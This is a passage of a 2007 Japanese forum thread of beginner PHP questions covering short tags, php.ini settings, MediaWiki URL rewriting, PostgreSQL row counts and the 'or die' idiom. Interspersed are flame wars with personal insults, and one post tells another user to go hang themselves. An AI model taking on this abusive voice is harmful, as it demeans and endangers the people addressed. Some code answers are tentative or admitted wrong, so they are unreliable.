・PHP5であなたにもWebアプリが作れる!
・CSSプロフェッショナル・スタイル

勉強していて思ったのはさすがにPHPは小遣い稼ぎにはならないということ
例えばブログ作るにしても自分のコードは1500行ぐらいで
WordPressとは比べ物になりません。
専門学校の費用稼ぎのためにショッピングカート作るなら
例えばWordPressをいじくってホームページ用にしたり、デザイン考えたり
して小遣い稼ぎしたほうが効率いいですよ。

大学卒業してWebデザインの専門学校に通うなんて
お金もったいないと思うのですが  ちなみに僕は高校生です


232 :nobodyさん:2007/10/25(木) 18:24:18 ID:???
さすが高校生。世間知らずだなあ。

233 :nobodyさん:2007/10/25(木) 18:24:52 ID:???
ああ、ちなみにWeb専門学校行くのが勿体無いというのは激しく同意。


234 :nobodyさん:2007/10/25(木) 18:25:37 ID:???
ああ、ちなみに僕は中学生です。

235 :nobodyさん:2007/10/25(木) 18:30:12 ID:???
大学いきながら専門学校にいってるのもいるわいな

236 :nobodyさん:2007/10/25(木) 18:39:20 ID:???
>>231
行数で判断する時点でもうド素人w

237 :nobodyさん:2007/10/25(木) 18:44:39 ID:???
プログラムを組んでない人に具体的な数字を示してあげたほうがわかりやすいかと
皆さん無職の人ですか?
6時に2chへばりついてw
あなた達の書き込み内容と私の書き込み内容
世間の人が見たらどう評価されるでしょうね?
私が留学して帰ってくる頃までには職探し済ませてください

こき使ってあげますよw

238 :nobodyさん:2007/10/25(木) 18:45:53 ID:???
仕事中に質問する俺は異端

239 :nobodyさん:2007/10/25(木) 18:51:38 ID:???
だが、ちょっとまってほしい。
この釣りセンスは素晴らしいのではないか。

240 :nobodyさん:2007/10/25(木) 18:51:55 ID:???
>>219 >>225
ありがとうございます。
一文字ずつループさせるというのは、どうやれば良いのでしょうか?

241 :nobodyさん:2007/10/25(木) 18:53:40 ID:???
配列、変数、for

なにごともやってみろ

242 :nobodyさん:2007/10/25(木) 18:55:12 ID:???
>>232
いやあ>>231はすごいぞ。

>>231
>>自分はHTML⇒スタイルシート⇒FLASH⇒PHPの順番で勉強して1年ぐらいです。
>>間にGIMPをちょくちょくいじくってました。

GIMPいじくってたっていうくらいだからOSSバリバリ開発してんじゃねーの?
たしかC言語だっけ?(違った?)
スクリプト言語使ってるウチラとはレベルが違うみたいよw

243 :nobodyさん:2007/10/25(木) 18:56:13 ID:???
>>240
とりあえず下のパーツ使って自分で組み立ててみろ

for
substr
strlen
is_numeric

244 :nobodyさん:2007/10/25(木) 18:59:04 ID:???
>>242
俺はcから入ったせいかphpとかわけわかめだわorz

245 :nobodyさん:2007/10/25(木) 19:07:08 ID:???
出力用テンプレート作ってるんだが
<?php print $xxx; ?>
をもう少しシンプルに書く記法無かったっけ?
マニュアル探しても見つからない orz

246 :nobodyさん:2007/10/25(木) 19:12:13 ID:???
>>231に尊敬
俺なんて高校時代部活で22時帰宅だったのに。
土日も基本部活だがオフの日は遊びほうけてたな。
ずいぶんと勤勉で関心ですよ。
でもね、高校時代はもう少し息抜きしてもいいとおもうんだ。

247 :205:2007/10/25(木) 19:15:59 ID:q/x5LG70
いろんなアドバイス、ありがとうございます。
個々に対するコメはできませんが、参考になるご意見ばかりでありがたいです。

経済学部ってかきましたが、実際勉強してることは経営学ばっかりです。
中堅国公立大の2年生です。
好きなことを仕事にできるって、とても楽しいじゃないですか。
俺はホームページを作っている間は、時間が経つのを忘れるくらい
それに没頭してしまう。中学の時に、ウェブ作るの好きで、
遊びでやってたんだけど、ふとしたことがきっかけで、またウェブ作り出して、
これを職業にしたいな。って思った。
大学で学んだ経営学を活かして、地方とかの中小企業が、より効率的に
セールスプロモーションできるようにウェブを活かしたいと思ってる。
WEBデザイナーっていう枠に捉われないWEBデザイナーになりたい。

お金貯めるの、本当はバイトでもすればいいんだろうけど、
慢性疲労症候群っていう病気になっちゃって、体力的にまだバイトできる状態じゃない。
パソコンで作業するのはそんなに体に負荷かからないから、
チャレンジャーだけど、やってみようと思って。

WordPressっていうのがあるんだ??全然知らんかった。
ありがとう。ちょっとやってみるよ。

248 :nobodyさん:2007/10/25(木) 19:18:03 ID:???
さっきから>>242の自演が酷いなwwwwwwwwwwwwwwwwww

249 :nobodyさん:2007/10/25(木) 19:24:50 ID:???
>>205は大学のうちに脈作ってベンチャーでも仲間と立ち上げてみるといいかもよ。
4年制大学かw今4年生なのかと思ったわ。

250 :nobodyさん:2007/10/25(木) 19:27:40 ID:???
デザイナーならPHPなんかより、htmlでデザインテンプレート量産したり、
JavaScriptやFlashをやったほうがより良い。

251 :nobodyさん:2007/10/25(木) 19:29:51 ID:???
>>245
<?=$foo?>

252 :nobodyさん:2007/10/25(木) 19:35:45 ID:???
>>247
デザイナーやプログラマーは自分でやるものではなく、こき使うもの(こき使われるもの)だ
本当に好きでやっているなら、楽しい事や趣味を仕事にしない方がいい方が多々ある

あとwebデザイナーもwebプログラマーも給料は安く拘束時間が長いので、
webコンサル目指した方が経営学も活かせてよりよい仕事が出来るぞ
専門家は捨てるほどいるんだ、この世界は広く浅くで勝負しろ




253 :nobodyさん:2007/10/25(木) 19:39:07 ID:???
>>231が外部ライブラリ(PEAR)とか複数処理を1行に書かずに
1500行でWordPressと同等の物が作れてるなら凄いと思うけどな



254 :nobodyさん:2007/10/25(木) 19:39:30 ID:???
>>240
文字列は文字の配列として扱えます
$a = "hoge";
print $a[0]; // hを表示

255 :nobodyさん:2007/10/25(木) 19:52:18 ID:???
>>251
サンクスコ

どうも short_open_tag = off にしてたらダメっぽい
冗長な方で頑張るぽ・・・

256 :nobodyさん:2007/10/25(木) 19:57:11 ID:???
>>247
自分は親が税理士しているので
そのつながりでホームページ作るようになりました。

別にプログラムばっかり書いてるわけではなくバンド組んだり
年間100本ぐらいは映画見るようにしています。

youtubeでBlogTVがあるので見てみては?
伊藤穰一さんが出演されているのですが、彼のインタビューやブログ、書籍は
ためになりますのでお勧めです。

クリエイティブコモンズやオープンソースなどで
将来的には貢献したいと思ってます
高校時代に尊敬できる人ができて、自分は運が良かったと思います。


257 :nobodyさん:2007/10/25(木) 19:57:13 ID:???
もう231は良いよ。こういう馬鹿相手にするからスレがますます荒れるwww

258 :nobodyさん:2007/10/25(木) 19:59:50 ID:???
セキュリティ的に考えてshort_open_tag は off だろ常考

259 :nobodyさん:2007/10/25(木) 20:16:55 ID:???
そんなことはりません

260 :nobodyさん:2007/10/25(木) 20:31:48 ID:???
XML混在どうしてるんだ?
ショートタグ使ってると外部からデータ取り込む処理がある場合は注意が必要だ
ある方法でPHPコマンドを実行したり、故意にエラー吐かせてシステム止める事が出来るぞ

261 :nobodyさん:2007/10/25(木) 20:32:26 ID:???
PHPレベルのエラーな

262 :nobodyさん:2007/10/25(木) 20:34:58 ID:???
ゲームの裏技について語る中学生みたいな口調だな。

263 :nobodyさん:2007/10/25(木) 20:36:39 ID:???
中学生でもセキュリティ意識高いのにお前等はどんだけww

264 :nobodyさん:2007/10/25(木) 20:42:19 ID:???
中学生違うわw
PHP6ではショートタグ廃止だから今のうちから直して慣れておけよ


265 :nobodyさん:2007/10/25(木) 20:44:23 ID:???
汚染変数の扱いはイロハで、セキュリティはその部分が全て。XML混在は関係なし
ショートオープンタグには一言ある人が多いようだが、まあ今更言うことでもあるまい

266 :nobodyさん:2007/10/25(木) 20:48:03 ID:???
すげーな
ショートタグ使ってのXML混在も自前の処理でこなしてるのか
そこまでやってるならセキュリティ云々は釈迦に説法だなw

267 :nobodyさん:2007/10/25(木) 20:48:50 ID:???
<? ?>を語る奴は話が長い

268 :nobodyさん:2007/10/25(木) 20:56:44 ID:???
要約: 自分以外のPIを解釈するパーサが糞

269 :nobodyさん:2007/10/25(木) 20:56:58 ID:???
>>256
能力ありそうなのにそんな分野に行くのはもったいない。
Webデザイナーとかプログラマーってのは基本的に専門卒の低学歴がやる仕事だよ。
給料も少ない。出世もない。だって誰でもできる仕事だものね。
4大出てるなら資格とってせめてSE目指すか、修士か博士取って研究開発に進んだほうがいいと思う。


270 :nobodyさん:2007/10/25(木) 21:03:10 ID:???
もう自演は良いよww

271 :nobodyさん:2007/10/25(木) 21:06:39 ID:???
>>269
何も知らない中学生が妄想で語らないで下さい。
デザイナーは学歴云々でなく、センスの問題。
プログラマーとSEが別物だと思ってるならおめでたい。
研究職なんてそんな募集してません。

272 :nobodyさん:2007/10/25(木) 21:08:30 ID:???
>>231は心の病気みたいだから放っといてあげたほうが

273 :nobodyさん:2007/10/25(木) 21:13:52 ID:???
http://imepita.jp/20071018/831920

274 :nobodyさん:2007/10/25(木) 21:30:37 ID:???
Fatal error: Allowed memory size of 8388608 bytes exhausted (tried to allocate 55 bytes) in /***/***/***/***/on line 146

インストールしようとしたら↑のエラーがでたんですが、
ググってみたらphp.iniのmemory_limitを32Mまで上げろって事までは分かりました。
ただ、どこでどうやって上げるのか調べても分からなかったので、
分かる方、御教授いただけないでしょうか?

275 :nobodyさん:2007/10/25(木) 21:40:34 ID:???
php.iniを直接書き換えるもよし、スクリプト中でini_setを呼ぶもよし、Apacheなら.htaccessで上書くもよし、みたいな?

276 :nobodyさん:2007/10/25(木) 22:34:08 ID:???
>>275
ありがとうござます!
ただ、初心者すぎて全く理解出来ません・・・
参考になるサイト探してるのですが、見つからない次第でして・・・

277 :nobodyさん:2007/10/25(木) 22:59:07 ID:???
>>276
RPMで入れてるの?

278 :nobodyさん:2007/10/25(木) 23:01:56 ID:???
>>241
がんばります、ありがとうございます

>>243
ありがとうございます。
なるほど、ヒントで助かりました。何とかできそうです。

>>254
ありがとうございます、知りませんでした。
勉強になりました。

279 :nobodyさん:2007/10/26(金) 00:02:28 ID:???
>>276
じゃマニュアル読めよ

280 :nobodyさん:2007/10/26(金) 00:40:49 ID:???
>278

$x = "a1b2c3d4e5f6";
print preg_replace("/[^0-9]/", "", $x);

281 :nobodyさん:2007/10/26(金) 00:46:44 ID:???
trよりpcreのほうが早そうだな

282 :nobodyさん:2007/10/26(金) 00:49:19 ID:FT3ITxDD
http://comconcom.com/

↑ 携帯に届いた「携帯版mixi」のお誘いのアド
PCからここにアクセスすると、phpinfo丸見え。
これってニセモノだよね?

283 :nobodyさん:2007/10/26(金) 01:30:41 ID:???
ここのスレの回答者は、マスコミと一緒だな。

無能な人間

マスコミがカリスマという虚像を作り上げ、一躍有名人

無能な人間が勘違いしだして、高ビーに変貌

マスコミが高ビーになった無能人間の本性を暴く

無能人間が廃人に変化

284 :nobodyさん:2007/10/26(金) 01:53:49 ID:YbGgdl0/
Mediawikiの最新版を自サーバー(有料レンタル)にインストールしました。
要求される、php5、Apache、MySQLの条件も満たされており、無事にサーバー上で起動することができました。

そこでURLの短縮 http://www.mediawiki.org/wiki/Manual:Short_URL/ja に取り掛かったのですが、
どうにもうまくゆきません。この作業は具体的には、 /index.php?title=記事名 となっているものを、
/記事名 というようにするものです。

自分の場合は、解凍したファイルをhttp://サブドメイン.ドメイン.net/直下に置いています。
つまり、そのトップページのURLは、 http://サブドメイン.ドメイン.net/index.php となります。

このURL短縮に必要な作業は見たところでは .htaccess と LocalSettings.php におけるものだけのようなので、
上記の解説にあるほとんどの方法を試してみたのですが、Internal Server Errorになったり、
例えば『記事URLでサブディレクトリ無しのサブドメイン』を試してみたら、一応のところ起動可能となるのですが、
リンクを辿るたびに白背景に ・ソ というような画面が現れて数秒してやっとリダイレクトするという状況でした。
同じMediawikiを使っているWikipediaではこのようなことは起こらず即座にリダイレクトすることを考えてみても、
これが成功であるとはどうしても思えません。なにが問題なのかご助言をください。


285 :nobodyさん:2007/10/26(金) 01:57:12 ID:???
・ソはBOMです。InternalServerErrorもそのせい

286 :nobodyさん:2007/10/26(金) 02:01:23 ID:???
.htaccessやPHPソースにはBOMつけたらいかんぞ
BOMなしで保存できるエディタを使わないと

287 :nobodyさん:2007/10/26(金) 02:39:01 ID:???
爆弾として機能したのか

288 :nobodyさん:2007/10/26(金) 03:18:42 ID:???
【くさい】風呂入るのマンドクセ〜【かゆい】 [40代]

高校生に文句付けてるのこいつかw
きめぇぇっwwwwwwwwwwww

289 :nobodyさん:2007/10/26(金) 03:49:50 ID:???
>>288
お前は宇宙一きめぇから大丈夫だよ^^

290 :nobodyさん:2007/10/26(金) 03:52:50 ID:???
そんな煽りぐらいでぐだぐだ騒ぐなデブ

291 :nobodyさん:2007/10/26(金) 03:53:16 ID:???
マジキモ

292 :nobodyさん:2007/10/26(金) 03:53:47 ID:???
>>290
お前は宇宙一デブだから大丈夫だよ^^

293 :nobodyさん:2007/10/26(金) 03:56:16 ID:???
03:49に書き込みしてるのは無職のオヤジさんですか?
風呂はいれよw くせーからwwwwwwwwwwwwww

お前いい年して初心者捕まえて偉そうにしてるがむなしくないのか?


294 :nobodyさん:2007/10/26(金) 03:56:19 ID:???
  <`ヽ  <ヽ<ヽ     >` 、        ヽ`ー-、
,、___/ レ'`, `" `  _   / /_   、"、     ,.‐`-‐'´
ヽ- ,┌‐'ニ-‐'_"`,  ヽ_ニ=, ,‐、 ヽ 丶`、   } }
  / / "~'_,"´~     / /  } } _.,」 .}. ノ { -='"ニ、ヽ
. / /  ,"、       / /_  / / ` `ー'  {、_‐'´   ) .)
/ /   '.、`ー─'`  {´ ノ `、`' /、           _ノ ノ
`´      ̄ ̄"´   ~   `~          -='-‐'´
    _
    `,`ヽ         _              _-'"´~`゙-、
  ,、_ -' '‐'ヽ`ニ .ヽ、   ゝ`, ,、 _____ .,、     / ,'"´~`ヽ ヽ
  `ーフ /'"~´ 「',- 、_'    / /  `ー, , -‐'"     '−'   _ノ .ノ
   / /   .i i     { { ,  "           .'´.-'"
 . / /  _ =-' L_    i レ'/ ,、             i.,...i
 `´   { (ニ; ,へ`ゝ  i  /  ',`、_____. ,、   .    ,-‐、
     `ー‐'"  `´   ヽ_',  `ー---‐"   .    `ー"


295 :ヽ(`Д´ ◆JB0CtYYhJQ :2007/10/26(金) 03:56:23 ID:???
なんだとー!

296 :nobodyさん:2007/10/26(金) 03:57:20 ID:???
俺が禿げるぞってレスしたスレじゃねぇか

297 :nobodyさん:2007/10/26(金) 03:58:21 ID:???
>>293
お前は宇宙一くせーから大丈夫だよ^^

298 :nobodyさん:2007/10/26(金) 04:03:38 ID:???
寝ろよ…

299 :nobodyさん:2007/10/26(金) 04:56:58 ID:???
どうでもいいレスしてあらすんじゃねえよ・・
とりあえず>>288は責任とって首吊って来い

300 :nobodyさん:2007/10/26(金) 05:03:53 ID:???
$sql ="SELECT count(*) FROM tabledb";
$result = pg_query($database,$sql);

としてテーブルtabledbのデータ件数だけを取得したいのですが
この処理からどう出力させれば目的のデータ件数を得られますか?
PHP postgresqlです。

301 :nobodyさん:2007/10/26(金) 05:13:29 ID:???
>>300
http://jp2.php.net/function.pg-query

302 :nobodyさん:2007/10/26(金) 05:19:41 ID:???
ありがとうございます。
$rows = pg_num_rows($result);
として取得できました。

SELECT *FROM ではなく
レコード数だけ取得したかったので
SELECT count(*) FROM と処理してみました。

レコード数だけ取得したい場合、このように処理することは
余計なリソースの節約につながるのでしょうか?



303 :nobodyさん:2007/10/26(金) 05:28:00 ID:???
>>302
ポスグレ使ったことないからあれだけど
$query = "select count(*) as hoge from tabledb";
とかしといて
結果からhogeにアクセスしたりしてとれないかな
mysqlとかはこんな感じでできるけど・・・


304 :nobodyさん:2007/10/26(金) 05:59:30 ID:???
ありがとうございます。

$sql ="SELECT count(*) as row FROM tabledb";
$result = pg_query($database,$sql);
$rows = pg_num_rows($result);
print $rows["row"];

と処理しても取得することができました。
$rows = pg_num_rows($result);
無しには取得できないようだったので、ほぼ同じことに。

305 :302:2007/10/26(金) 06:07:35 ID:???
すいません>>304は嘘ですw
取得できてませんでした。。やり方がまずいのかな・・

306 :nobodyさん:2007/10/26(金) 06:21:06 ID:???
pg_num_rows()は結果の行数を取得するもの count(*) の結果は常に一行でしょ
pg_fetch_*()じゃないt

307 :302:2007/10/26(金) 07:58:49 ID:???
あぁなるほど・・・

$sql ="SELECT count(*) FROM tabledb";
$result = pg_query($database,$sql);
$row = pg_fetch_result($result,0,0);
print $row;

にて処理させることにしました、どうもありがとうございました。

308 :nobodyさん:2007/10/26(金) 11:33:27 ID:???
PHPで parse_ini_file() という便利な関数があるんですが、値に「"」を含める方法が分かりません。

key1 = "abc¥"def"

とすると

array('key1' => 'abc¥¥def')

となります。
だれか助けて。

309 :nobodyさん:2007/10/26(金) 11:54:21 ID:???
>>308
試してないけど
key1 = 'abc"def'
じゃ駄目なのかな

310 :309:2007/10/26(金) 12:31:02 ID:???
>>308
http://www.php.net/manual/ja/function.parse-ini-file.php
「注意」を読むと"は使えないみたいね。

でも例によって下のほうに対処法が書いてある。
定数による書き換えが出来るらしい。
http://www.php.net/manual/ja/function.parse-ini-file.php#70847
しかし、俺の環境では動かなかった

あとは読み込んでから処理とかでもいいだろうね。
シングルクォーテーションで代用するとか、xmlにしたほうがいい気もする。

311 :nobodyさん:2007/10/26(金) 13:56:47 ID:???
>>310で動かないなら
最終コールバックでおき返したらいいんじゃね?
試してないから責任は持てんが…

312 :nobodyさん:2007/10/26(金) 20:10:21 ID:???
エラーを吐き出さないようにするにはiniファイルでいけるのかな?
configureし直さないといけないのかな?

313 :nobodyさん:2007/10/26(金) 20:15:34 ID:473J8VsZ
>>312
iniで

314 :nobodyさん:2007/10/26(金) 20:27:03 ID:???
error_reporting php_ini_all でぐぐれ

315 :nobodyさん:2007/10/26(金) 22:10:06 ID:???
ビるッたdd

316 :nobodyさん:2007/10/26(金) 23:50:03 ID:???
はじめてPHPやることになって、ApacheとPHPをインストールしました。
WEBの情報を頼りにphp.ini とhttpd.iniを編集してphpを
ブラウザで表示させました。
でも、何も表示されません。
その状態で、ブラウザのソースの表示をしたら、phpのソースは見れました。
よくある設定ミスだと思いますが、どういうミスが考えられますか?

317 :nobodyさん:2007/10/26(金) 23:58:01 ID:4lZO192k
PHPがきちんと動作してないってことです。

318 :nobodyさん:2007/10/27(土) 00:02:37 ID:???
http://go-pear.org/
見えないんだけど、どうしたんだろう?

319 :nobodyさん:2007/10/27(土) 00:06:27 ID:???
>>316
きちんと設定できているなら、再起動してないとかが原因だと思われる。
最初は難しいが一年くらい根気よく勉強すれば大概の人は出来るようになるから
あきらめずがんがれ

320 :nobodyさん:2007/10/27(土) 00:07:22 ID:???
>>316
拡張子の設定を忘れているか、根本的にインストールできてないか。

321 :nobodyさん:2007/10/27(土) 00:12:26 ID:???
httpd.iniってapache3?

322 :nobodyさん:2007/10/27(土) 00:18:45 ID:???
>>316
あなたみたいな人のためにオールインワンのXAMPPが提供されてるのでそれを使用しましょう。
まずインストール済みのApacheとPHPをアンインストール後入れるといいでしょう。
configファイルはとくにいじらず、すぐに使える環境が構築されます。

ところでhttpd.iniじゃなくてconfが正しい拡張子です。

323 :nobodyさん:2007/10/27(土) 00:20:05 ID:???
いやiniとconfの設定の仕方を学べばいいだろ。
なんだその超後ろ向き思考は。

324 :nobodyさん:2007/10/27(土) 00:28:22 ID:???
別に拡張子はなんでもよい。
拡張子で何か変わると思ってる奴は勉強しる

325 :nobodyさん:2007/10/27(土) 00:52:29 ID:???
4文字以上の拡張子は気持ち悪い

326 :nobodyさん:2007/10/27(土) 01:05:49 ID:???
そんなことじゃIT業界では生きていけないじょ

327 :nobodyさん:2007/10/27(土) 01:06:46 ID:???
>>325
.htmlは?

328 :nobodyさん:2007/10/27(土) 01:18:27 ID:???
.phtml

329 :nobodyさん:2007/10/27(土) 01:32:45 ID:???
.torrent

330 :nobodyさん:2007/10/27(土) 01:41:47 ID:???
テキストファイルに見せかけて拡張子を.txtにしてるけど
ちゃっかりPHPで仕込んでダウンロードカウント数は図ってる俺が着ましたよ

331 :nobodyさん:2007/10/27(土) 02:14:14 ID:???
ヘッダーのX-POWERED-BYで糸冬

332 :nobodyさん:2007/10/27(土) 02:18:56 ID:???
>>331
ttp://grin.flagbind.jp/archives/2004/12/phpxpoweredby.html

333 :nobodyさん:2007/10/27(土) 02:33:35 ID:???
>>324
なんでもよくねーよ
デフォルトファイルがhttpd.conf-distで
confにリネームするように推奨してるのに
わざわざ他の拡張子つけるようなひねくれものイクネイ

334 :nobodyさん:2007/10/27(土) 02:58:23 ID:???
ほんと馬鹿ばっかだよなこのスレ。





まあ俺が一番馬鹿なんだけどね。

335 :nobodyさん:2007/10/27(土) 03:29:01 ID:???
>>334
それは誰も否定しない

336 :nobodyさん:2007/10/27(土) 03:36:02 ID:???
くだらねえ質問のスレだってのに、調べるのめんどくせえ質問する馬鹿もいるしなw


337 :nobodyさん:2007/10/27(土) 03:56:38 ID:???
つか調べて分かるようなことを質問するなよって感じだが

338 :nobodyさん:2007/10/27(土) 05:01:51 ID:???
>>335
おっと待てよ。一番はこの俺だぜ。

339 :nobodyさん:2007/10/27(土) 07:25:46 ID:???
今日、PHPの本買いに行くんだが中級から上級者向けの本で
オススメの本ある? 



340 :nobodyさん:2007/10/27(土) 07:33:58 ID:???
>>339
オライリーの”PHP HACKS”とか

341 :nobodyさん:2007/10/27(土) 07:42:40 ID:???
>>340
ありがとう、検索したら洋書だが中身見れるね(ΤдΤ)
取り合えず図書券1万円分もらったから買ってみるよ



342 :nobodyさん:2007/10/27(土) 10:02:44 ID:???
>>341
日本語訳あるよ。
アマゾンで「PHP Hacks―プロが教えるWebプログラミングテクニック」で検索

343 :nobodyさん:2007/10/27(土) 10:37:41 ID:???
>>342
お前レス遅いよ。
まぁ、参考になったよ。サンクス、ソックス、セックス!!

344 :nobodyさん:2007/10/27(土) 10:44:13 ID:???
なんだコイツ(# ´∀`)σ)Д`)

345 :nobodyさん:2007/10/27(土) 12:21:01 ID:???
>>330
http1.1に準拠したキャッシュコントロールやバリデーションしてこないのは大概スクリプト

346 :nobodyさん:2007/10/27(土) 14:28:17 ID:???
>>342
>>341じゃないけど、アマゾンで注文してきた

347 :nobodyさん:2007/10/27(土) 14:48:54 ID:???
>>346
っていうか、その本俺も持っているけど、
別に大した内容じゃないよ。phpで1年位仕事していたら、誰でも知っているような内容。
それより、SE社が出している赤い分厚い翻訳本の方が専門的で役に立った。

348 :nobodyさん:2007/10/27(土) 15:21:37 ID:???
>>347
あ、そ

349 :nobodyさん:2007/10/27(土) 15:37:44 ID:kzNSIsdT
質問です。
php5徹底攻略という本に書いてあったのですが、
if(!file_exists(DB))
die(DB. " が見つかりません¥n");
$db = sqlite_open(DB) or die(DB. "がオープンできません¥n");
のorって何なのでしょうか?

350 :nobodyさん:2007/10/27(土) 15:38:32 ID:???
A or B

351 :nobodyさん:2007/10/27(土) 15:39:30 ID:???
orz

352 :nobodyさん:2007/10/27(土) 15:42:46 ID:???
>>350
AでtrueになったらBを評価しない性質を利用しているのか
ちょっと感心した

353 :349:2007/10/27(土) 15:46:35 ID:kzNSIsdT
>>352
ああ、成る程。
これはいい勉強になったっす。
こんなorの使い方初めて見た!

354 :nobodyさん:2007/10/27(土) 16:19:41 ID:???
>>347
なんて本?

355 :nobodyさん:2007/10/27(土) 16:39:48 ID:???
赤マンモス?

356 :nobodyさん:2007/10/27(土) 17:41:14 ID:???
>>352-353
一般常識

357 :nobodyさん:2007/10/27(土) 18:11:22 ID:???
くだ質的には条件文の()内以外で or 使えるって知られて無いんじゃね。
俺が知らなかっただけですか、そうですか

358 :nobodyさん:2007/10/27(土) 18:16:56 ID:???
そう

359 :nobodyさん:2007/10/27(土) 18:27:15 ID:???
くだ質のプロなら||だとうまくいきませんだなw

360 :nobodyさん:2007/10/27(土) 18:48:22 ID:DF6PJ+rw
ニコニコ動画の検索結果のURL表示方法(?s=xxxx の表示がない)ってどうやってるんでしょうか
/search/%E3%83%8B%E3%82%B3%E3%83%8B%E3%82%B3
/search.php/%E3%83%8B%E3%82%B3%E3%83%8B%E3%82%B3 でも正常に表示される

検索押すと上のように表示されるURLを
/search/?s=%E3%83%8B%E3%82%B3%E3%83%8B%E3%82%B3
に書き換えてアクセスすると上記のURLに変換されます。
mod_rewrite + ?s=ぽいものがURLに含まれる場合は一旦弾いて加工後のURLに飛ばして帰ってこさせてる?

この対策って一般的どういった点で効果があるんでしょうか。
見た目の問題だけ?

361 :nobodyさん:2007/10/27(土) 18:56:58 ID:???
mod_rewrite
PATH_INFO
SEO
キャッシュとか

362 :nobodyさん:2007/10/27(土) 18:57:14 ID:???
Perlの定型文って感じだが
それ以外では珍しい使い方じゃない?

363 :nobodyさん:2007/10/27(土) 18:58:52 ID:???
PHPの初心者向けは種類抱負だよね
自分としてはセキュリティに配慮したサイト構築の本がほしいな

まあセキュリティやサイト構築関係は大体アマゾンで叩かれてるよなw

364 :360:2007/10/27(土) 19:14:29 ID:???
ああ、キャッシュかぁ・・・

mod_rewrite = SEOはわかるんだけど、わざわざ
/search/?s=%E3%83%8B%E3%82%B3%E3%83%8B%E3%82%B3
を一旦弾いて飛ばしたりするところ、なんか意味あるのかなー?と思ったので

ありがとうございました!

365 :nobodyさん:2007/10/27(土) 19:45:19 ID:???
別に弾いとらんだろ

366 :nobodyさん:2007/10/27(土) 20:01:19 ID:???
>>356
たまたま知ってただけで一般常識とはまた偉そうだなw

367 :nobodyさん:2007/10/27(土) 20:05:29 ID:???
いや、一般じゃないにしろ常識だから。

368 :nobodyさん:2007/10/27(土) 20:08:31 ID:???
ふ〜ん、ごりっぱですね

369 :nobodyさん:2007/10/27(土) 20:14:42 ID:???
常識、というのは偉くもないし立派でもない

>俺が知らなかっただけですか

この人もそうだが、それ以前に一般常識というレスがあるわけだろう?
聞き返すまでもなく「俺が知らなかった」だけに決まってる

どうも話が通じないというか、要領を得ないというか
言いたいことがあるなら、素直に言えばいいのではないか?

370 :nobodyさん:2007/10/27(土) 20:23:39 ID:???
>>369
俺は本人じゃないけど言わせてもらう。

>この人もそうだが、それ以前に一般常識というレスがあるわけだろう?
>聞き返すまでもなく「俺が知らなかった」だけに決まってる
一般常識と思ってないから言ってるんだろwww

371 :nobodyさん:2007/10/27(土) 20:24:02 ID:???
>>369はイタすぎる
「〜のレスがあるから、〜に決まってる」ってw

372 :nobodyさん:2007/10/27(土) 20:25:18 ID:???
一般常識とレスしたら、それが一般常識と確定してしまう訳ですか。
"常識"なんて言葉を持ち出す奴は頭が堅くて意固地というのが定石だが
こいつは正に典型的なタイプだな。


373 :nobodyさん:2007/10/27(土) 20:26:55 ID:???
>>370-372
なんでこんな常識的な話で反応できるかさっぱり分からん
別に悔しくもないんだろう?

374 :nobodyさん:2007/10/27(土) 20:28:58 ID:???
こんなネタで盛り上がるのは非常識だろ

375 :nobodyさん:2007/10/27(土) 20:29:56 ID:???
>>372がレスをしているんだから、
>>373は頭が堅くて意固地に決まってるw

376 :nobodyさん:2007/10/27(土) 20:31:11 ID:???
自分はif派


377 :nobodyさん:2007/10/27(土) 20:34:21 ID:???
>>366を見て下らないレスしかできない低脳だと見抜けなかった俺が阿呆だったようだな
知らなければ演算子の優先順位はマスターしておけよ
これを知らずにプログラミングというのはありえない話だ

378 :nobodyさん:2007/10/27(土) 20:36:04 ID:???
>>376
簡易スクリプトでなけりゃそれが常識だな

379 :nobodyさん:2007/10/27(土) 20:36:48 ID:???
演算子の優先順位をマニュアルを見ないで全部知っている人いるー?


俺は知らない、ていうか優先順位があやふやになりそうだったらカッコをつける

380 :nobodyさん:2007/10/27(土) 20:41:23 ID:???
>>379
あやふやになるって具体的にどういう奴?

381 :nobodyさん:2007/10/27(土) 20:44:09 ID:???
>>376
サンプルではよく見かけるんだけど、
die()とか使わないから、ああいうorの使いかたをしたことがない
エラーが起きたとき、ログを取ってエラーページに回すから俺もifだな

382 :nobodyさん:2007/10/27(土) 20:45:21 ID:???
>>380
そんなもの、いきなり思い浮かびません

383 :nobodyさん:2007/10/27(土) 20:48:14 ID:???
馬鹿はやっぱ馬鹿ってことがよく分かった

384 :nobodyさん:2007/10/27(土) 20:49:56 ID:???
確かにサンプルじゃ単純化してdieだけど実際にはエラー処理してくださいよって意図だよな
意味的にもあそこでorが出るのは変だから

385 :nobodyさん:2007/10/27(土) 20:55:04 ID:???
>>383
君にはなぜ>>349が「or」では上手くいくのに「||」では上手くいかないのか説明してもらおうか

386 :nobodyさん:2007/10/27(土) 21:00:02 ID:euGofwdi
http://ihc.mydisk.jp/

387 :nobodyさん:2007/10/27(土) 21:02:08 ID:???
エラーとか処理の流れの都合上変だって以前に
演算子の優先順位を利用したプログラミングがどうかと思うよ
使うのはごく少数のイディオムだけじゃないの

388 :nobodyさん:2007/10/27(土) 21:03:20 ID:???
>>379
つかまともにPHPを3ヶ月もやってれば
必ずお目にかかる表現だろ。人のスクリプトなりコード解説サイトなり公式マニュアルなりで。
俺は原則としてZendのコーディング規約に則ってるから使わんが。

389 :nobodyさん:2007/10/27(土) 21:13:13 ID:???
PHPマニュアルで die() を調べると exit() と同等としか説明がなく
例文すら記載されていないが、eixt() を見ると or を使った例文が
記載されている。
まぁ、PHPでのプログラミングにおいては一般常識の範疇なのだろうけど
他言語においてはこの様な凡例は見かけないからピンとこねえや

390 :nobodyさん:2007/10/27(土) 21:13:25 ID:???
>>377 は釣り
演算子の順番なんていちいち覚えてられるかー

>>349 のようなのは、たしかにたまに見ることある
まぁ、なんとなくやってることはわかる。
なぜ or でそうなるのかは、>>352 の説明見て始めてわかったよ>if派な俺


391 :nobodyさん:2007/10/27(土) 21:14:07 ID:???
実例はあんま見ないと思うけどなあ
初心者向きの手引きには必ずあるからみんな知ってる
知ってるのに誰もつかなわない不思議なor

392 :nobodyさん:2007/10/27(土) 21:19:28 ID:???
perl臭いからだろw

393 :nobodyさん:2007/10/27(土) 21:19:51 ID:???
こんなorの使い方知っていたところで百害あって一利なし
結論としてPHPオンリーなプログラマはPHPの世界から出てくんなってことだ

394 :nobodyさん:2007/10/27(土) 21:22:16 ID:???
また馬鹿っぽい事言ってるな〜

395 :nobodyさん:2007/10/27(土) 21:22:36 ID:???
